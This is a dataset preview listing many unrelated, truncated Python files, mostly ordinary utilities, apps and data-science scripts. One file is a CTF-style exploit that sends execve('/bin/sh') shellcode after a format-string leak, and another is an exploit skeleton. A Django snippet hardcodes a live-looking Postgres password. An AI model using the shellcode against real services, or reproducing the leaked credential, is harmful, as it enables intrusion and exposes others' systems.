text stringlengths 38 1.54M |
|---|
from os import walk
import os
from os.path import isfile, basename, expanduser, join
from datetime import datetime, timedelta
import sys
import re
from generator import WeeklyReportGenerator
from toggl.printer.html import HtmlPrinter
from toggl.datasource.csv import CsvReportParser
from toggl.datasource.web ... |
import execjs
from login.db_helper import DatabaseHelper
from login.helper import Helper
from login.util import Util
if __name__ == '__main__':
helper = Helper()
# helper.get_friends_timeline(max_count=5)
helper.get_someone_info('') #输入contailerId
pass
|
#usr/bin/python!
import sys
import numpy as np
import matplotlib.pyplot as plt
import time
PATH="./"
OUTFILE="FT_data.txt"
INFILE="Compl_num.txt"
#----------subroutines--------------
def Read():
data=[] #data equals my fouriercoeffitients fi
try:
text = open(PATH+INFILE,'r') #open file to read
data=text.read(... |
# 1. 一个函数作为另一个函数的返回值
def test():
print("我是test函数")
return 'hello'
def demo():
print("我是demo函数")
return test
def bar():
print("我是bar函数")
return test()
a = bar()
print(a)
x = test()
print(x)
y = demo() # y 是test函数,相当于test函数的别名
print(y)
z = y()
print(z) # 'hello'
# 2. 一个函数作为另一个函数的参数
#... |
# first_list = "arp, live, strong".split(", ")
# second_list = "lively, alive, harp, sharp, armstrong".split(", ")
first_list = input().split(", ")
second_list = input().split(", ")
results = [
res for res in first_list for _res in second_list if res in _res]
# results = []
# for item in first_list:
# for se... |
#!/usr/bin/env python3
"""6.009 Lab -- Six Double-Oh Mines"""
# NO IMPORTS ALLOWED!
def dump(game):
"""
Prints a human-readable version of a game (provided as a dictionary)
"""
for key, val in sorted(game.items()):
if isinstance(val, list) and val and isinstance(val[0], list):
prin... |
from model_and_config import config, models
import os
import argparse
os.environ['CUDA_VISIBLE_DEVICES'] = '1'
parser = argparse.ArgumentParser()
parser.add_argument('--model_name', type=str, default='LSTMCapsNet', help='name of the model')
args = parser.parse_args()
model = {'LSTMCapsNet': models.LSTMCaps... |
# We need to import the filter we are going to use
from KalmanFilter import *
import numpy
import ms5837
import time
class DepthSensor:
currentDepth = 0; # Relative to the MSL
self.sensor = ms5837.MS5837_30BA()
# A is the matrix we need to create that converts the last state to the new one, in our case it's ... |
from django.apps import AppConfig
class ProductosserviciosConfig(AppConfig):
name = 'productosServicios'
|
import numpy as np
import matplotlib.pyplot as plt
from ProtWaterPES import Dipole
import multiprocessing as mp
from Imp_samp_testing import EckartsSpinz
from Imp_samp_testing import MomentOfSpinz
har2wave = 219474.6
ang2bohr = 1.e-10/5.291772106712e-11
ref = np.array([
[0.000000000000000, 0.000000000000000, 0.000... |
from typing import Tuple
from generator.exceptions import GeneratorBufferError
from generator.buffers.buffer import Buffer
from generator.widget_base import Widget
class NavigationBuffer(Buffer):
def __init__(self):
super().__init__()
self._navigation_state = (0, 0) # line, pos in line
def ... |
#!/usr/bin/python
from numpy import *
import pylab as lab
n, dt = 200, 0.5
x,y = meshgrid(arange(n,dtype=float32)/n, arange(n,dtype=float32)/n)
u = exp(-((x-0.2)*20.)**2 -((y-0.3)*20.)**2)
v = zeros((n,n), dtype=float32)
lab.ion()
image = lab.imshow(u, cmap='cool')
for i in range(100000):
v[1:-1,1:-1] -= (4.*u[1:-1,... |
# -*- coding: utf-8 -*-
"""
Created on Sat Jun 13 02:20:31 2020
@author:
"""
# -*- coding: utf-8 -*-
"""
Created on Fri May 15 12:50:04 2020
@author: Dhruv.Shah
"""
import numpy as np
import pickle
import pandas as pd
#from flasgger import Swagger
import streamlit as st
from PIL import Image... |
"""
compute simlarity of images between all neurosynth datasets
"""
import os,pickle
import numpy,pandas
from joblib import Parallel, delayed,dump,load
from sklearn.metrics import f1_score,jaccard_similarity_score
njobs=24
data=pickle.load(open('../data/neurosynth/neurosynth_reduced_cleaned.pkl','rb'))
data=(data>0)... |
from pwn import *
shellcode = (
"\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x1c\x58"
"\x83\xE8\x11"
"\x99\xcd\x80"
)
format_str = "%6$x\n"
con = remote('localhost', 1234)
#getting leaked addr
con.recvuntil("\n");
con.send(format_str);
data = con.recvuntil("\... |
#!/usr/bin/python
import sys
sys.path.append('/home/admin/bin')
from gnome_ldap_utils import *
from gitlab import *
execfile('/home/admin/secret/freeipa')
glu = Gnome_ldap_utils(LDAP_GROUP_BASE, LDAP_HOST, LDAP_USER_BASE, 'cn=Directory Manager', ldap_password)
gitlab = Gitlab('gitlab.gnome.org', GITLAB_PRIVATE_TOKE... |
from django.apps import AppConfig
from django.db.models.signals import post_save
class ForumConfig(AppConfig):
name = "aether.forum"
def ready(self):
from .models import ForumPost, ForumUser
from .signals import postprocess_forumpost, postprocess_forumuser
post_save.connect(postproce... |
import sys
import requests
if len(sys.argv) != 2:
print('Not enough arguments')
exit(1)
file = open('token.out', 'r')
token = file.readline()
HEADERS = {'Authorization': f"Bearer {token}"}
response = requests.get('https://api.intra.42.fr/v2/users', headers=HEADERS)
users_list = response.json()
needle = sys... |
#!/usr/bin/python
# coding:utf-8
import cv2
import os
from .Machersolution import Matcher
import numpy as np
import json
import base64
import requests
import sys
import config
Debug = True
class AlignerIDCard(object):
def __init__(self,templateImg,templateLabel):
templateimg = cv2.imread(templateImg)
... |
from Stack import Stack
def Hist():
user_input = ""
a = []
b = []
c = []
d = []
while user_input!= "Done":
user_input = input("Enter a number between 0 and 100 per line: \n" )
if user_input.isdigit():
item = int(user_input)
if item in range (0,25):
... |
import sys
sys.setrecursionlimit(10**6)
input = sys.stdin.readline
N = int(input())
tree = {}
def preOrder(root):
print(root, end = "")
if tree[root][0] != ".":
preOrder(tree[root][0])
if tree[root][1] != ".":
preOrder(tree[root][1])
def inOrder(root):
if tree[root][0] != ".":
in... |
__author__ = 'vikram'
def vikgcd(a, b):
"""Calculate the Greatest Common Divisor of a and b.
Unless b==0, the result will have the same sign as b (so that when
b is divided by it, the result comes out positive).
:rtype : int
"""
i = 0
while b:
a, b = b, a % b
i += 1
re... |
from torchvision import datasets
import matplotlib.pyplot as plt
a = datasets.MNIST("./data/mnist",
train=True,
download=True,
)
b, c = a.__getitem__(37038)
plt.imshow(b)
print(c) |
#!/usr/bin/env python
import os
import time
from collections import ChainMap
from typing import Dict
import glob2
import numpy as np
from pyarrow.parquet import ParquetFile
from src.dataset.DatasetDF import DatasetDF
from src.dataset.ParquetImageDataGenerator import ParquetImageDataGenerator
from src.dataset.Transfor... |
# -*- coding: utf-8 -*-
# !/usr/bin/env python
import time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
print "开始"
print "......"
# 实例化一个驱动类
profiledir = webdriver.FirefoxProfile(r"/Users/sunying/Library/Application Support/Firefox/Profiles/sr6smerq.default")
# 打开火狐浏览器
driver = web... |
from math import ceil,sqrt
ltej = 6
nn = 10**3
def easyif(n):
if n in (2,3,5):
return True
if n%2 == 0:
return False
if n%3 == 0:
return False
if n%5 == 0:
return False
for i in range(7,int(ceil(sqrt(n)))):
if n%i == 0:
return False
return T... |
import os
import time
from typing import List
from collections import Counter
import matplotlib.pyplot as plt
import numpy as np # Random selection
from PIL import Image
import torch # Tensor library
import torch.nn as nn # loss functinos
import torch.optim as optim # Optimization and schedulers
import torch.nn.f... |
from django import urls
from django .urls import path
from .views import home
app_name='Core'
urlpatterns=[
path('', home,name="home_view"),
] |
import requests
from nistrecord import NistRecord
class NistFetcher(object):
def __init__(self):
self.certificate = None
r = requests.get('https://beacon.nist.gov/certificate/beacon.cer')
if r.status_code != 200:
raise IOError
else:
self.certificate = r.con... |
#!/usr/bin/env python
import sys
import os
BASE_DIR = os.path.abspath( os.path.join( os.path.dirname( __file__ ), ".." ) )
path = os.path.abspath( os.path.join( BASE_DIR, "python" ) )
sys.path.append( path )
import numpy as np
import pylab as pl
import momo
width = 150
height = 50
radius = 10
cell_size = 1
conv... |
"""
A Simple Interface to Sending Email
Ben Adida (ben@adida.net)
"""
from base import config
from smtplib import SMTP
from email.MIMEText import MIMEText
from email.Header import Header
from email.Utils import parseaddr, formataddr
SMTP_SERVER = config.SMTP_SERVER
def simple_send(recipient, sender, subject, body, ... |
import imagesAlign as lk
import shared as sh
import os
import numpy as np
from matplotlib.pyplot import show, imshow, figure, title
# load patch
img_dir = '../../test-ballots/carlini/'
Iref=sh.standardImread(os.path.join(img_dir,'0.tif'),flatten=True)
M = np.zeros((Iref.shape[0],Iref.shape[1], 11))
for i in range(11... |
# Generated by Django 2.2.2 on 2019-10-15 09:05
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('api', '0001_initial'),
]
operations = [
migrations.RemoveField(
model_name='missao',
name='foiConcluida',
),... |
from gameboy.memory.memory_region import MemoryRegion
class InterruptFlagRegister(MemoryRegion):
INTERRUPT_VBLANK = 0x01
INTERRUPT_LCDC = 0x02
INTERRUPT_TIMA = 0x04
INTERRUPT_SERIAL = 0x08
INTERRUPT_JOYPAD = 0x10
INTERRUPT_MASK = 0x1F
def __init__(self):
super().__init__(bytearra... |
# -*- coding: UTF-8 -*-
from flask import Flask
from .web.ban import BanAPI
from .web.server import ServerAPI
from .config import Config
from .db import DB
class WebUI(object):
def __init__(self, config_file):
app = Flask(__name__, template_folder="web/templates")
self.config = Config(config_fil... |
import datetime, time, math, pytz, os, sys
import pandas as pd
import yaml
from NormalSchedule import NormalSchedule
from DataManager import DataManager
from Advise import Advise
from xbos import get_client
from xbos.services.hod import HodClientHTTP
from xbos.devices.thermostat import Thermostat
from xbos.services.pu... |
import cv2
import numpy as np
def empty(a):
pass
def stackImages(scale,imgArray):
rows = len(imgArray)
cols = len(imgArray[0])
rowsAvailable = isinstance(imgArray[0], list)
width = imgArray[0][0].shape[1]
height = imgArray[0][0].shape[0]
if rowsAvailable:
for x in range ( 0, rows):... |
# metadata.py
"""
File containing metadata information for WW2100 model run
"""
class UnknownFileType(BaseException):
pass
##model_run = 'MIROC'
def define_model_run():
import xlrd
model_book = xlrd.open_workbook('Master File.xls')
Refer = str(model_book.sheet_by_index(0).col_values(0)[1]) #find t... |
#!/usr/bin/env python
""" This Program returns the Data for the Header and Body Elements of a
Dynamically Generated HTML Survey Called by index.html"""
# -*- coding: UTF-8 -*-
# use the cgi library
import cgi
# enable debugging
#import cgitb
#cgitb.enable()
# use JSON encoding
import json
# use python sqlite3 d... |
import matplotlib.pyplot as plt
from kivy.garden.matplotlib.backend_kivyagg import FigureCanvas
from kivy.graphics.texture import Texture
from kivy.lang import Builder
from kivy.logger import Logger
from kivy.properties import NumericProperty, ObjectProperty
from kivy.uix.image import Image
from kivy.uix.screenmanager ... |
from zio import *
target = "./ascii_easy"
def get_io(target):
read_mode = COLORED(RAW, "green")
write_mode = COLORED(RAW, "blue")
io = zio(target, timeout = 9999)#, print_read = read_mode, print_write = write_mode)
return io
def pwn(io):
#io.interact()
#io.read_until(":")
io.gdb_hint()
ebp = 'a' * 4
ret = l3... |
# 020
# Valid Parentheses
# 2015-04-28
#####################################################
class Solution:
# @param {string} s
# @return {boolean}
def isValid(self, s):
stack = []
for c in s:
if not stack:
stack.append(c)
elif (c == ')' and sta... |
# HRI - Keyboard Commands for Marley
#git push
import RPi.GPIO as GPIO
import time
import pygame
import RGB
from pygame.locals import *
pygame.init()
done = 0
while done == False:
for event in pygame.event.get():
# any other key event input
if event.type == pygame.QUIT:
done = True
... |
import logging
import socket
from pyfix.journaler import DuplicateSeqNoError
from pyfix.session import FIXSession
from pyfix.connection import FIXEndPoint, ConnectionState, MessageDirection, FIXConnectionHandler
from pyfix.event import FileDescriptorEventRegistration, EventType
class FIXServerConnectionHandler(... |
from django.conf import settings
from rest_framework.permissions import BasePermission
class IsAuthenticated(BasePermission):
"""
Allows access when DEBUG else only to authenticated users.
"""
def has_permission(self, request, view):
"""Ignore usual authentication and autherization if SSO is ... |
import time
from behave import *
use_step_matcher("parse")
@then(u'I delete the address "{address_field}"')
def step_impl(context, address_field):
from booking_manager.models import Address
address = Address.objects.filter(address_field=address_field).get()
context.browser.visit(context.get_url('delete_... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Jul 29 17:33:16 2018
@author: vmueller
"""
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
from rnn_utility_functions import save_model, load_model
from matplotlib.finance import candlestick_ohlc
from matplotlib import style
impo... |
from PIL import Image
from pyrandomdotorg.pyRandomdotOrg import *
SIZE_ROW = 127
SIZE_COLUMN = 127
user = ['name', 'email']
random = clientlib(user[0], user[1])
img = Image.new('RGB', (SIZE_ROW, SIZE_COLUMN), "white") # Create a new white image
pixels = img.load() # Create the pixel map
# Iterate through the pixe... |
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import threading
import time
# 定义执行函数
def chihuoguo(people):
print('%s 吃火锅的小伙伴-羊肉:%s' % (time.ctime(), people))
time.sleep(1)
print('%s 吃火锅的小伙伴-鱼丸:%s' % (time.ctime(), people))
# 定义自己的thread,继承threading.Thread,重写__init__和run方法
class MyThread(threading.Thread):
... |
from celery.task import task
from wallet.models import UserWallet
from utils.web3 import Web3Util
from config.models import NodeConfig
@task()
def collect_deposit_funds():
web3 = Web3Util()
wallets = UserWallet.objects.filter(status=False)
config = NodeConfig.objects.get()
_to = config.master_wallet_a... |
from aiohttp import web
from python_machine_learning.middleware import python_machine_learning_middleware
from python_machine_learning.routes import all_routes
import logging
import settings
logging.basicConfig(
format='%(asctime)s:%(levelname)s - %(message)s',
level=logging.INFO,
datefmt="%Y-%m-%d %H:%M:... |
score = input("Input your score (0.0 - 1.0): ")
sc = float(score)
if 0.0 <= sc <= 1.0:
if sc < 0.6:
print("F")
elif 0.6 <= sc < 0.7:
print("D")
elif 0.7 <= sc < 0.8:
print("C")
elif 0.8 <= sc < 0.9:
print("B")
elif 0.9 <= sc < 1.0:
print("A")
el... |
from .card import Card
from ..utility import Logger
class ItIsYourBirthday(Card):
'''
It is your birthday. Collect £10 from each player.
'''
def play(self, game, current_player):
'''
The player gets £10 from each other player. ( £100 if the player
does not say "Happy Birthday!"... |
# -*- coding: utf-8 -*-
# Define here the models for your scraped items
#
# See documentation in:
# https://doc.scrapy.org/en/latest/topics/items.html
import scrapy
class SuningCategoryItem(scrapy.Item):
# 分类id
CategoryId = scrapy.Field()
# 分类名称
CategoryName = scrapy.Field()
# 上级id
parentI... |
# Import libarary
import matplotlib.pyplot as plt
import numpy as np
from mpl_toolkits.mplot3d import Axes3D, proj3d
from IPython import display
from itertools import product, combinations
import tensorflow as tf
import numpy as np
import os
import shutil
import argparse
import time
from ENV import Env
# Import custom... |
# Product
class Vehicle(object):
__go = False # The vehicle rides or isn't moving
def __init__(self):
self._type = None
self._wheels = None
self._doors = None
self._seats = None
def get_doors(self):
return self._doors
def get_seats(self):
... |
from __future__ import absolute_import, unicode_literals
from django.views.generic.edit import CreateView, UpdateView
from django.views.generic import DetailView
from .models import Output, LogFrame, Indicator, SubIndicator
from .forms import (OutputForm, IndicatorFormSet, SubIndicatorForm,
BaseInl... |
"""
Given a binary tree of integers, find the maximum path sum between two nodes. The path must go through at least one node, and does not need to go through the root.
"""
from __future__ import annotations
from math import inf
from typing import Any
class Node:
val: Any
left: Node
right: Node
def __init__(self... |
def toLetter(n):
if (n == None):
return ''
return 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'[n]
def f(nums):
order = []
firstFlag = True
while(True):
flag = False
for i,n in enumerate(nums):
if (n > 0):
order.append(i)
nums[i] -= 1
... |
from django.shortcuts import render
from rest_framework import generics
from .models import Board
from .serializer import BoardSerializer
from .permissions import IsOwnerOrReadOnly
# Create your views here.
class BoardList(generics.ListCreateAPIView):
queryset = Board.objects.all()
serializer_class = BoardSe... |
t = int(input())
for cases in range(t):
n = int(input())
arr = list(map(int,input().strip().split()))
dp = [0]*(n+1)
dp[0] = 0
for i in range(1,n+1):
max_val = -2**31
for j in range(i):
max_val = max(max_val,arr[j]+dp[i-j-1])
dp[i] = max_val
print(dp[n])
|
import pygame
import numpy as np
from ... import twist
from ..objects import PySceneImage
from .base import create_surface, ButtonStyle
from .style_color import color_tones
class ClassicButtonStyle(ButtonStyle):
def __init__(self, color, disabled_color, reverse=False, intensity=12, border=3):
self.border =... |
#!/usr/bin/env python
#-*- coding: utf-8 -*-
# 通用方法
import datetime
import json
import time
from binascii import b2a_hex, a2b_hex
from Crypto.Cipher import AES
#json加密兼容datetime
class DateEncoder(json.JSONEncoder):
def default(self, obj):
if isinstance(obj, datetime.datetime):
re... |
import os
SOCIAL_AUTH_USER_MODEL='users.AuthUser'
SOCIAL_AUTH_LOGIN_URL= '/'
SOCIAL_AUTH_LOGIN_REDIRECT_URL='/'
SOCIAL_AUTH_LOGIN_ERROR_URL='/accounts/login-error/'
SOCIAL_AUTH_NEW_USER_REDIRECT_URL = '/accounts/register/'
SOCIAL_AUTH_NEW_ASSOCIATION_REDIRECT_URL = '/accounts/register/'
SOCIAL_AUTH_FACEBOOK_KEY = os... |
import os
import numpy as np
#import matplotlib.pyplot as plt
import data_loader
import tensorflow as tf
import tensorflow.contrib.slim as slim
from sklearn.model_selection import train_test_split
image_size = 32
cropped_size = 28
num_channels = 1
pixel_depth = 255
num_labels = 5
num_digits = 10
depth = 32
patch_size... |
from System import DateTime
def UpdateTOF():
"""
<Script>
<Author>ANK</Author>
<Description>This script modifies scenario dates </Description>
</Script>
"""
scenarioFullPath = "/Group of cali/cali/Scenario of cali"
TOF = DateTime(2014,2,1)
SOS = TOF.AddDays(-1)
EOS = TOF.AddDa... |
import utils
import sorts
bookshelf = utils.load_books('books_small.csv')
for book in bookshelf:
print(book)
def by_title_ascending(book_a, book_b):
return book_a['title_lower'] > book_b['title_lower']
#if (book_a['title_lower'] > book_b['title_lower']):
# return True
#return False
sort_1 = sorts.bubble_s... |
fh=open("File_name.fasta")
count=0
num=0
for line in fh:
if line.startswith(">"):continue
line=line.rstrip()
print(">"+str(num)+"|0|training") #|1| for negetive files
print(line)
count+=1
num+=1
print(count) |
############################################
# Copyright (c) 2012 Microsoft Corporation
#
# Z3 Python interface for Z3 polynomials
#
# Author: Leonardo de Moura (leonardo)
############################################
from .z3 import *
def subresultants(p, q, x):
"""
Return the non-constant subresultants of '... |
# O(n^2) O(n)
class Solution:
def findCircleNum(self, M: List[List[int]]) -> int:
ctr = 0
visited = set()
for i in range(len(M)):
if i not in visited:
ctr += 1
self.visit(i, visited, M)
return ctr
def visit(self, i, visited, M):... |
#!/bin/env python
#*******************************************************************************
#
# Filename : runHistCompare.py
# Description : Generating scripts for running hist compare
# Author : Yi-Mu "Enoch" Chen [ ensc@hep1.phys.ntu.edu.tw ]
#
#*************************************************... |
import dash.dependencies
import dash_html_components as html
import dash_core_components as dcc
import os
import pandas as pd
import plotly.graph_objs as go
app = dash.Dash()
app.layout = html.Div(children=[
html.Div(html.Label('Hello, what do you like to do in your free time?'),
style = {
'display': 'inl... |
# 문제4.
# 구구단 중에 특정 곱셈을 만들고 그 답을 선택하는 프로그램을 작성하는 문제입니다.
# 답을 포함하여 9개의 정수가 아래와 같은 형태로 출력되고 사용자는 답을 골라 입력하게 됩니다.
# 프로그램은 정답 여부를 다시 출력합니다.
import random
min, max = 1, 81
while True:
dan = random.randrange(9)+1
gob = random.randrange(9)+1
n = dan * gob
numlist = [random.randrange(max)+min for i in range(1,... |
import json
import sys
from pathlib import Path
from loguru import logger
from typing import cast, Optional
logger.remove()
logger.add(sys.stderr, level="INFO", enqueue=True)
class Config:
"""Config system for Dataherb"""
def __init__(
self,
is_aggregated: bool = False,
config_path:... |
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file '/home/rlessard/packages/omtk/0.4.999/python/omtk/ui/pluginmanager_window.ui'
#
# Created: Tue Feb 20 10:34:53 2018
# by: pyside2-uic running on Qt 2.0.0~alpha0
#
# WARNING! All changes made in this file will be lost!
from Qt import Qt... |
import numpy as np
def latlong2dist(lat1, long1, lat2, long2):
"""
https://en.wikipedia.org/wiki/Haversine_formula#:~:text=The%20haversine%20formula%20determines%20the,given%20their%20longitudes%20and%20latitudes.&text=The%20term%20haversine%20was%20coined,sin2(%CE%B82).
:param lat1:
:param long1:
... |
# A. Love "A"
s = input()
num_of_a = s.count('a')
s_half = len(s) / 2
ans = len(s) if num_of_a > s_half else num_of_a * 2 - 1
print(ans)
|
"""
ChikonEye literally watches your back.
preventing others who peeps your computer from seeing your valuable secret works.
Now your works are safe and secure.
Chikon eye uses your laptop(primary = 0 or secondary = 1, 2 so on) camera to see how
many people are watching at the computer screen. If some1 unauthor... |
import requests
import os
from os.path import join, dirname
from dotenv import load_dotenv
import json
#環境変数読み込み
dotenv_path = join(dirname(__file__), '.env')
load_dotenv(dotenv_path)
API_KEY = os.environ.get("API_KEY")
URL = os.environ.get("URL")
def main():
original_data = get_Api_Parameter(API_KEY)
print... |
import re
a = ord('a')
z = a+25
S = input()
D = {}
for i in range(a,z+1):
try:
r = re.search(chr(i), S).start()
except AttributeError:
D[chr(i)] = -1
else:
D[chr(i)] = r
ans = ''
for j in D.keys():
ans += str(D[j]) + ' '
print(ans.strip())
# Done |
import os
import sys
import numpy as np
import pandas as pd
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
import seaborn
import csv
from yattag import Doc
from yattag import indent
class Plotter(object):
def __init__(self):
self._scalar_data_frame_dict = {}
self._dist_data_frame_dic... |
from datetime import datetime
from ..names import make_name
def test_make_name():
# str (some with invalid/unwanted chars)
assert make_name('backup name') == 'backup_name'
assert make_name('backup/name') == 'backup!name'
assert make_name('backup::name') == 'backup:name'
# int
assert make_nam... |
team_1 = """
Hippowdon @ Smooth Rock
Ability: Sand Stream
EVs: 252 HP / 4 Atk / 252 Def
Impish Nature
- Stealth Rock
- Earthquake
- Whirlwind
- Slack Off
Dracozolt @ Life Orb
Ability: Sand Rush
EVs: 252 Atk / 4 SpD / 252 Spe
Adamant Nature
- Bolt Beak
- Fire Fang
- Stone Edge
- Outrage
Zapdos-Galar... |
"""Chapter 2: Values and Variables
Numeric values
Strings
Variables
Assignment
Identifiers
Reserved words
To delete some variable:
del variable1, variable2, ...
"""
"2.1 Integer and String Values"
# Ex: 4 = integer number
3+4 # Normal arithmetic addition
# 2,468 would appear as 2468, or without... |
import csv
import os
from uuid import uuid4
import psycopg2
from psycopg2 import extras
#connect to Database
db_string = "postgres://rfiyeehknxkzti:fcd541969aee3f6c579001a4769f90bb3d27c6e5194c31478217c5010e016a22@ec2-54-227-243-210.compute-1.amazonaws.com:5432/d4dhnjm6dcg7mm"
os.environ["DATABASE_URL"] = db_string
co... |
from django.urls import path
from . import views
app_name = "task"
urlpatterns = [
path("new_task/", views.new_task, name="new_task"),
path("task_manager/", views.task_manager, name="task_manager"),
path("edit_task/", views.edit_task, name="edit_task"),
path("delete_task/", views.delete_task),
pa... |
#!/usr/bin/env python
# coding: utf-8
# In[ ]:
# Depth First Search : Algorithm for MRO
class X: pass
class Y: pass
class Z: pass
class A(X,Y): pass
class B(Y,Z): pass
class M(B,A,Z): pass
print(M.__mro__)
|
import scrapy
class LineItem(scrapy.Item):
name = scrapy.Field()
situation = scrapy.Field()
description = scrapy.Field() |
import subprocess as sp
import tkinter as tk
from tkinter import ttk
topRow = 0
WHITE_COLOR = "#ffffff"
def on_mousewheel(event):
if event.num == 5 or event.delta == -120:
canvas.yview_scroll(1, "units")
if event.num == 4 or event.delta == 120:
canvas.yview_scroll(-1, "units")
class KeyLabe... |
class Solution(object):
def maxRotateFunction(self, A):
"""
:type A: List[int]
:rtype: int
"""
n = len(A)
m=[]
for i in range(len(A)):
a,b = 0,0
for j in range(0-i,0-i+4):
a += A[j] * b
b += 1
... |
import boto3
import os
s3 = boto3.resource("s3")
def download_s3_folder(bucket_name, s3_folder, local_dir=None):
"""
Download the contents of a folder directory
Args:
bucket_name: the name of the s3 bucket
s3_folder: the folder path in the s3 bucket
local_dir: a relative or absol... |
from vibora.tests import TestSuite
from vibora.blueprints import Blueprint, Response
from vibora.router import RouterStrategy
from vibora import Vibora
class BlueprintsTestCase(TestSuite):
def setUp(self):
self.app = Vibora(router_strategy=RouterStrategy.STRICT)
async def test_simple_add_blueprint__e... |
from django.db import models
from django.contrib.auth.models import Permission, User
class Vare(models.Model):
user = models.ForeignKey(User, default=1)
navn = models.CharField(max_length=250)
pris = models.CharField(max_length=20)
alkohol = models.CharField(max_length=10)
volum = models.CharField(... |
import itertools
import collections
import asyncio
import mmap
import benchmarking
class benchAsync( benchmarking.BenchFixture ):
def __init__( self ):
self.f = ""
self.deq = None
self.window_size = 2
self.setUp( )
def setUp( self ):
f = open('profiling/Sa... |
# Generated by Django 3.0.2 on 2020-12-02 03:50
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('statemachine', '0003_auto_20201126_1306'),
]
operations = [
migrations.CreateModel(
name='UserS... |
from django.http import HttpResponse
import os
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "realEstateAdvisor.settings")
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()
def index(request):
return HttpResponse("Hello, world. You're at the polls index.") |
import pyxel
from pyxel.ui import ScrollBar, Widget
from pyxel.ui.constants import WIDGET_HOLD_TIME, WIDGET_REPEAT_TIME
from .constants import (
TOOL_BUCKET,
TOOL_CIRC,
TOOL_CIRCB,
TOOL_PENCIL,
TOOL_RECT,
TOOL_RECTB,
TOOL_SELECT,
)
from .overlay_canvas import OverlayCanvas
class DrawingPa... |
""" Online version of regression
"""
import numpy as np
import logging
class LinReg(object):
""" Implements online version of linear regression according
to ML Lecture
"""
def __init__(self, dim_in, dim_out, dim_basis, basis_fcts):
""" Initializes Object
Args:
... |
from django.conf.urls import url
from django.contrib import admin
from medeina.views import IssueStatsView, main, ListIssuesView, UpdateIssueView
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^$', main, name='main'),
url(r'^issues/list$', ListIssuesView.as_view(), name='list_issues'),
url(
... |
import os
from os.path import exists, join
import numpy as np
import imageio
import scipy.ndimage as ndi
import scipy.ndimage.morphology as morph
import scipy.ndimage.filters as filters
import pydicom
import datetime, time
import math
import imageio
import argparse
import yaml
import itertools
import png_to_dso
import ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.